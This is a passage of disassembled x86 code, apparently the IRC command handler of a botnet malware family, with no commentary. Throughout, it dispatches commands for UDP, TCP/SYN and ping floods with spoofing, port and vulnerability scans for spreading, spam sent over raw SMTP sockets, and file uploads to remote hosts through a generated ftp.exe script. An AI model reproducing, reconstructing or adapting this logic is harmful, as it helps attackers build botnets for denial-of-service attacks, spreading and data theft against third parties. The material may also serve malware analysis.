push offset aPhatwonk ; "phatwonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407CB2
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aNazel3 ; "NAZEL3"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407B74
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407A77
push [ebp+arg_8]
push offset aScan_0 ; "scan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407984
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407887
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407797
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_401F75
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_407691
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aAd ; "ad"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_4071B6
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aU ; "u"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_40706D
push [ebp+arg_8]
push offset aNetsend ; "netsend"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aNs ; "ns"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406F5F
push [ebp+arg_8]
push offset aPingflood ; "pingflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aPing_0 ; "ping"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aP ; "p"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406E35
push [ebp+arg_8]
push offset aVnchost ; "vnchost"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_406A5A
push edi
call sub_41B52C
pop ecx
lea eax, [ebp+var_2C4]
push edi
push offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
jmp loc_4040AB
; ---------------------------------------------------------------------------
loc_406A5A: ; CODE XREF: sub_401ACD+4F56j
push [ebp+arg_8]
push offset aTcpflood ; "tcpflood"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aTcp ; "tcp"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz loc_406C8E
push [ebp+arg_8]
push offset aEmail ; "email"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_406C36
lea eax, [ebp+var_46F0]
push edi
push eax
call sub_41C890
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_438C]
push eax
call sub_41C890
push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
push offset asc_42CDC0 ; " "
push offset a_ ; "_"
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944 ; WSAStartup
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58 ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54 ; socket
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4 ; htons
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24 ; send
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC ; recv
push esi
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
lea eax, [ebp+var_458C]
push eax
push offset unk_42AEFC
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE70
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset sub_4149C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE00
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADB8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset sub_413E10
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF4
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: .data:004330E0o
; .data:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC44
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset sub_413F9C
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AC0C
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABA8
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB08
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset sub_40CA1D
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A968
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
